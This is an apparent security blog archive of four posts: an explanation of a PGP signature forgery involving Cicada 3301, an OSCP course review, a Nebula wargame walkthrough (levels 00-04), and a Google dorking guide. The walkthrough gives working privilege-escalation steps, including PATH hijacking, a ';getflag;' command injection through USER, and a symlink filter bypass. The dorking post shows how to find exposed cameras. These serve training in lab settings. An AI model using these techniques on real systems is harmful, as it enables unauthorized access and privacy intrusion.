Wednesday, August 19, 2015

LRN 2 PGP: Don't make it easier for the malicious...

In case you haven't heard, there have been a bunch of fake Cicada 3301 sites popping up recently. I've followed the Cicada challenges for a long time, so naturally I was hanging out on the #cicadasolvers channel on freenode to check out all the buzz.

Amidst all the nonsense that was being thrown around on Monday though, someone posted an interesting Pastebin link in the chat. They claimed it was new information from Cicada that virtually no one had seen before. The note is a PGP signed message and appears to be from part of the 2013 Cicada challenge. It didn't help with the 2014 challenge (which, for all we know, still hasn't been solved), but it was really cool that there was new information. Someone even verified that the message was legitimate! ... except it wasn't.

Upon closer inspection, it was concluded that this message is in fact a forgery. And here's how this forgery was accomplished. The message isn't actually formatted properly. PGP inline signature format consists of a few lines of boilerplate ("armor"), which wraps the message text. After these boilerplate lines, there is supposed to be a blank line, and then your message. However, you can see that there is no blank line before the message in this case. This causes the perceived message body to be considered part of the "armor", which is not signed.

So if that's the case, then why does the signature still appear valid? Well, this is actually Cicada's fault. A while ago, Cicada must have signed a blank (or whitespace) message. Notice how there are 8 blank lines between the "message" and the signature? This is the actual message space. Although this means that the message needs to make sense in the timeline that the blank message was originally signed, it's still pretty powerful for forging messages. We can verify all of this with GPG. First let's try a vanilla verification:

We can see that there's a small warning about an invalid clearsig header, but the signature is actually declared a good signature from "Cicada 3301". Now let's try with verbosity on to see a more detailed error message:

And there it is... the "message" is actually part of the armor header. Now the only thing left is to demonstrate is that modifying the blank space, or actual message space, will render a bad signature. To accomplish this, all I'm going to do is add an extra blank line to the real message space.

So if you're using PGP for message signing, please pay attention to the armor headers of any messages you may come in contact with. And note, you should never sign a blank message. This is what made it possible for someone to forge Cicada's signature.

Sunday, July 12, 2015

My Experience with PWK and OSCP


I received the magical email on Friday night. 
Dear Brandon, we are happy to inform you you have successfully completed the Penetration Testing with Kali Linux certification challenge and have obtained your Offensive Security Certified Professional (OSCP) certification.
I was completely surprised. I wasn't expecting a response until 4 days later. But anyway, it's about god damn time! I'm extremely happy to have completed this challenge. I put in a crazy amount of money, time, and energy into getting this certification. It finally paid off. A celebration was in order, which is why I'm writing this a few days later.

I originally bought the course a little more than two years ago. I was able to go through all of the course videos and pdf, but I just didn't have the time or willpower to struggle through the labs. So I dropped it and pretty much forgot about it. In May I decided to revisit the course. I'd like to comment on my experiences with all aspects of the course. There won't be any spoilers in this post though.

Cost

This is an expensive course and certification if you don't hold a well-paying job. The base course with 30 days of lab access is $800. Don't get me wrong though, the price point is decidedly justified. I bought it a few years ago when it was still Pentesting with BackTrack. It came with 30 days of lab access, which I completely wasted. I'm still kicking myself for that. When I picked it up again recently, I had to first upgrade from PWB 3.0 to PWK. That was $200. On top of that, I also needed to buy 30 days of lab time (another $250). So if you're going to start this course, make sure you're going to be fully committed to it, otherwise you could spend more money than necessary like I did.

My only major gripe with this course is that your lab time starts as soon as you receive the course materials. Most of the information and exercises don't require access to the labs, and the ones that do can be completed very quickly. It felt I was wasting valuable lab time while working on the basic course materials. But it forced me to just power through the course material as fast as possible so I could focus on the labs. This worked fine for me, but others might need to go through the course material multiple times to fully understand the concepts in order to be successful in the lab environment.

Course Material

The course comes with about 8 hours worth of video, which are all desktop recordings. The instructor always speaks very clearly. He doesn't speak so quickly that you can't follow, or slowly enough to bore you. And if you do miss anything, you can always rewind the video. Every time he executes a command or changes a setting, he explains exactly what he's doing and why he's doing it.

In addition to the 8 hours of video, students also receive a 350 page pdf with even more information, and practice exercises. Everything is very well written and easy to understand. Some of the practice exercises were actually really fun.

The course material contents are all very modular, which makes it easy to say "Alright, today I'm going to do the whole Password Attacks module by watching the videos and then reading the lab guide and doing the exercises." There are some things that are in the videos that are not in the lab guide and vice versa, so it's very important to utilize both for learning.

Lab Network

The lab network is easily the best part of this course. When I first started playing in the labs, I was a bit overwhelmed. You don't have anyone holding your hand and telling you what to do. It's just you and your terminal against a network of machines with various "personalities". At the end of my 30 days I was able to compromise of about 30 machines. I'm pretty satisfied with this, but I really wish I was able to compromise all of them. I used various attack vectors and had to get pretty creative for some of them.

I mentioned above that some machines have "personalities". This made the labs extremely interesting and fun. Some machines are specific user machines, and some interact with each other so it's fun to keep track of what they're talking about and how they're all related to each other.

Note that the labs are extremely frustrating, and not all machines are at the same difficulty level. Some days I would pop 3 boxes no problem, and then I would go 3 days without getting any shells. I was consistently putting in 10-12 hours a day. So if you have a full time job I would definitely suggest getting at least 60 days of lab access. The best way to learn is to get your hands dirty, and you want as much time in the labs as possible.

Also I highly suggest making use of both the student forums and the IRC network. I found a lot of fantastic information in the forums. The IRC was great for complaining about different machines, and the admins were very helpful without giving out much information. Serious props to the IRC admins. They're on 18 hours a day and have to deal with the same questions that they can't answer over and over again. But be prepared to hear "Try Harder" about 90% of the time you ask a question. 

Exam

There's only one way to describe this exam: stressful. The OSCP exam is 48 hours long. The first 24 hours are dedicated to hacking the 5 exam machines. The second 24 hour period is for writing your exam penetration test report. There are a total of 100 points and you need 70 points to pass. Not only do you have to worry about actually pwning the machines though, but you really need to pay attention to your bodily needs like sleep and food.

I ended up taking the exam three times. My first attempt was my worst. I was only able to gain the highest privileges on one of the machines. My largest mistake though was my strategy. I kept jumping around when I hit a wall instead of trying to stop and think. In addition, I tried to power through the whole 24 hours without sleeping, and I barely took any breaks. By the time my access to the exam network ended, I couldn't even concentrate on my terminal. I was so confident that I failed that I didn't even bother sending in my report. But writing it once I had some sleep helped me find some things I missed during the exam.

A week later I purchased another exam take. This time went much better. Before the test started I picked up all of my favorite snacks and beverages. This really helped me personally. Anyway, I was able to gain the highest privileges on two machines, and lower privileges on another two. I sent in my exam having no idea whether or not I would pass. I failed. I'd guess that I had about 60-65 points, but the exam is pass/fail so I never found out how many points I really had.

I knew I really needed to work on my privilege escalation skills if I wanted to pass the exam. So I took about three weeks to practice in both Linux and Windows environments. I did this without lab access; I just read a LOT online about Windows privilege escalation and practiced in some VulnHub virtual machines for my Linux skills. I learned some really cool techniques and tricks, which I hoped would be useful in my next exam attempt.

Thankfully third time was the charm. I fully compromised my first machine after about an hour. Another hour and a half and I got another one. Then I had a zen moment where literally everything just clicked for the third machine. I was in the zone and super determined. Another 2 hours and I finished the fourth box. At this point I knew I already had enough points to pass, but I REALLY wanted to pwn all of the machines. Unfortunately I could only get limited privileges on the last box. I sent in my report and got my passing notification about 24 hours later.

Wrap Up

Overall, this is an amazing course and certification. The amount I learned in the past two months is insane. I really had a blast, and although I'm very happy that I finally passed, I'm definitely going to miss the lab environment. Hopefully this certification opens new career opportunities for me so I can finally break into this challenging industry.

I've already got my eye on the WiFu course...

Thursday, May 28, 2015

Exploit-Exercises: Nebula (Levels 00-04)

Introduction


I'd like to begin this post by introducing you to a great site called Exploit Exercises. This site currently has 4 different virtual machines to help you practice your hacking skills. These VM's test your knowledge of various topics including Linux privilege escalation, binary exploitation, and some reverse engineering. Each machine has a theme, and is broken up into multiple challenges. This post will be focusing on Nebula, which covers various weaknesses and vulnerabilities in Linux. Let's begin!

NOTE: The purpose of each challenge in the Nebula VM is to run the system command "getflag" as a flagXX user.

Level 00

This level requires you to find a Set User ID program that will run as the “flag00” account. You could also find this by carefully looking in top level directories in / for suspicious looking directories. Alternatively, look at the find man page.

To access this level, log in as level00 with the password of level00.

So by looking at the find man page, we can see all of the possible options for us to specify. But which ones? Let's think about what we know about the file we're looking for:
  • It's a file
  • It's a Set User ID program
  • It's executable
  • It will run as flag00
With all of this information, we can construct the following command:
level00@nebula:~$ find / -type f -executable -user flag00 -perm /u+s 2>/dev/null
/bin/.../flag00
/rofs/bin/.../flag00
Let's try the first file:
level00@nebula:~$ /bin/.../flag00
Congrats, now run getflag to get your flag!
flagg00@nebula:~$ getflag
You have successfully executed getflag on a target account

Score! But before we move onto the next challenge, let's break down the find command we created.
"/": tells the machine to start in the root, or top directory
"-type f": tells it that we're looking for a file
"-executable": no big surprise here, we're looking for an executable file
"-user flag00": looks for files owned by flag00
"-perm /u+s": tells us to look specifically for files with the setuid bit set
"2>/dev/null": this just tells the machine to redirect all errors to /dev/null so we don't see them

Level 01

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
(level1.c)
int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/usr/bin/env echo and now what?");
}
To do this level, log in as the level01 account with the password level01. Files for this level can be found in /home/flag01.

There are two things to take note of in this program. First is that it takes in the environment as an argument. Second is that it uses /usr/bin/env to execute the echo command.

/usr/bin/env looks in the PATH variable to find a specified program that its been asked to run. Thankfully for our sake, it's extremely easy to edit the PATH variable. So here's how we're going to exploit this:

  • First we'll create a symbolic link called "echo" in our home directory that points to the getflag command
  • Next we'll update our PATH to include the location of our symbolic link
  • Finally we'll run the vulnerable program.
level01@nebula:~$ ln -s /bin/getflag echo
level01@nebula:~$ export PATH=.:$PATH
level01@nebula:~$ /home/flag01/flag01 
You have successfully executed getflag on a target account

Level 02

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
(level2.c)
int main(int argc, char **argv, char **envp)
{
  char *buffer;
  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  buffer = NULL;

  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));

  printf("about to call system(\"%s\")\n", buffer);
  system(buffer);
}
To do this level, log in as the level02 account with the password level02. Files for this level can be found in /home/flag02.

We're executing a system command again, and we're passing an environment variable named USER into a buffer. We'll have to get a little creative here though, because we're executing /bin/echo USER is cool. So we'll have to find a way to insert our own command in there. In bash, you can just end a command with a semicolon and then begin a new one. If we set the USER environment variable to ";getflag;" then we'll basically be echoing nothing and then running getflag (and then is cool will return an error). Let's try it!
level02@nebula:~$ export USER=";getflag;"
level02@nebula:~$ /home/flag02/flag02
about to call system("/bin/echo ;getflag; is cool")

You have successfully executed getflag on a target account
sh: is: command not found
Boom! Roasted! Onto the next one...

Level 03

Check the home directory of flag03 and take note of the files there.
There is a crontab that is called every couple of minutes.

To do this level, log in as the level03 account with the password level03. Files for this level can be found in /home/flag03.

When we look in the /home/flag03 directory, there are two important items. The first is a writable directory called writable.d. The second is a bash script called writable.sh with the following contents:
#!/bin/sh

for i in /home/flag03/writable.d/* ; do
(ulimit -t 5; bash -x "$i")
rm -f "$i"
done
Here's a quick analysis of the bash script. First, we loop through everything inside the writable.d directory. For each item we find, we execute it as a script and then delete it. If we let the script run from a cron job, it will run as the flag03 user, so all we have to do is create a bash file that runs getflag and stores the result in a file! We'll write the following short bash script in our home directory:
#!/bin/sh
/bin/getflag >> /tmp/flag03.txt
Copy this bash file into the writable.d directory and wait a few minutes for the cron job to run. After 5 minutes or so, check the contents of /tmp/flag03.txt and you should find the text that we've come to expect by now:
You have successfully executed getflag on a target account

Level 04

This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it :)
(level4.c)
int main(int argc, char **argv, char **envp)
{
  char buf[1024];
  int fd, rc;

  if(argc == 1) {
      printf("%s [file to read]\n", argv[0]);
      exit(EXIT_FAILURE);
  }

  if(strstr(argv[1], "token") != NULL) {
      printf("You may not access '%s'\n", argv[1]);
      exit(EXIT_FAILURE);
  }

  fd = open(argv[1], O_RDONLY);
  if(fd == -1) {
      err(EXIT_FAILURE, "Unable to open %s", argv[1]);
  }

  rc = read(fd, buf, sizeof(buf));

  if(rc == -1) {
      err(EXIT_FAILURE, "Unable to read fd %d", fd);
  }

  write(1, buf, rc);
}
To do this level, log in as the level04 account with the password level04. Files for this level can be found in /home/flag04.

This is a pretty easy one. The script only checks the name of the file we want to read. Unfortunately, we can't rename the token file. However, we can just create a symbolic link like we did before! We just have to make sure that the name of our symbolic link doesn't contain the string "token".
level04@nebula:~$ ln -s /home/flag04/token sneaky
level04@nebula:~$ /home/flag04/flag04 sneaky
06508b5e-8909-4f38-b630-fdb148a848a2

Bingo! With that, I'll wrap up this post, but you can expect to see the next five Nebula challenges here within the next few days. Happy Hacking!

Thursday, April 30, 2015

Hacking with Google

Arguably, information gathering is the most vital component of a successful penetration test. Without sufficient intelligence on an organization, the later steps of a pentest become much more difficult. Information gathering can additionally be broken down into two categories: active and passive. Passive information gathering can be thought of as accessing an organization's information without their knowledge. This is what we're going to focus on in this post.

When it comes to passive information gathering, there are multiple avenues we can follow: target website analysis, email harvesting, whois enumeration, search engines, ... wait a minute, what was that last one? Search engines. If we're trying to find information about anything nowadays, which company do we turn to? Which corporation knows where we are every second of the day, what our browsing habits are, and what that suspicious lump on our thigh is?

bing?

Just kidding. Of course I'm talking about Google. But how can we leverage the power of the big G to our advantage in a pentest? The simple answer is search operators.

Search Operators


Google has built-in search operators that can aid us in finding specific information that is relevant to our target organization. For example, we can use the '@' operator to search for social accounts like @katyperry, or the '#' operator to find trending topics like #mancrushmonday. You can find a couple of other basic search operators here.

However, in order to find some really useful information, we need to get creative and combine these search operators. Let's say we want to find all the PDF files on http://www.hak5.org/. We can combine the "site" and "filetype" search operators to do just that:


And voila! Now obviously there's no privileged information available on this site (because they know what they're doing), but if an organization isn't careful with their files, a confidential .pdf, .xls, or other file could easily be leaked to the public. We'll look at one more quick example before moving to the mother lode of google hacking.

By now, you've probably heard about finding open security cameras and webcams through Google. First we'll need to know some kind of identifying signature of a specific technology. In this case, we'll be searching for Mobotix cameras. A unique identifier for Mobotix cameras is the file path "control/userimage.html", so we'll look for this with the "inurl" operator.


Wow, 147 results! That's a decent amount of open cameras. And remember, this is just for one specific brand. You could use the "and" operator to concatenate results for cameras made by JVC, Panasonic, Sony, etc. Now that we've seen how useful Google can be for information gathering, you might start  asking... "Isn't there a better way to do this? What if I don't know various signatures for vulnerabilities?"

Google Hacking Database


Introducing the Google Hacking Database (GHDB). If you've used Exploit Database before, then you're probably already familiar with this awesome tool. If not, you're in for a real treat. The GHDB makes it terrifyingly easy to find good google fu to use on targets. Everything is already sorted into the following categories:


To demonstrate exactly how powerful this is, we'll use another scenario. Say you're enumerating on a target and you've found out that they're using Joomla as their CMS. This is a great find, but unfortunately you're really unfamiliar with Joomla. How are you supposed to know where to look? Sure you could rummage through all of the documentation, but that will only get you so far. A better option? Use GHDB, select the "Advisories and Vulnerabilities" section and simply type in "Joomla".



BLAM! Hundreds of Joomla specific vulnerabilities to search for. Play around with searching for files containing usernames, passwords, and other privileged information. It's amazing how much stuff is publicly available online. Just remember, don't do anything illegal!

In addition, with a simple python or ruby script, you could automate searching for all of these, and store the results in a database to find which vulnerabilities are applicable to your target. That actually sounds like a cool project. I'm gonna go get my hands dirty. Search ya later!